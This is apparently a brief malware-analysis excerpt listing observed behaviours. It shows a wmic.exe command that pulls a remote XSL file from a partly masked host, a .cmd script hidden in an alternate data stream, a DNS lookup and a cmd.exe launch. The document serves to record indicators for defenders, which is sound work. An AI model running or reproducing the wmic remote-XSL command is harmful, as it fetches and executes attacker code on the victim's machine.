Technical Information
- '<SYSTEM32>\wbem\wmic.exe' os get t2236999h, IEEFLLS, SystemDirectory /format:"http://ra#.####ubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/04/v.xsl#025099jeddf5577"
- %TEMP%\3eysfqi.jpg:bxzzxvv.cmd
- DNS ASK ra#.####ubusercontent.com
- '<SYSTEM32>\cmd.exe' -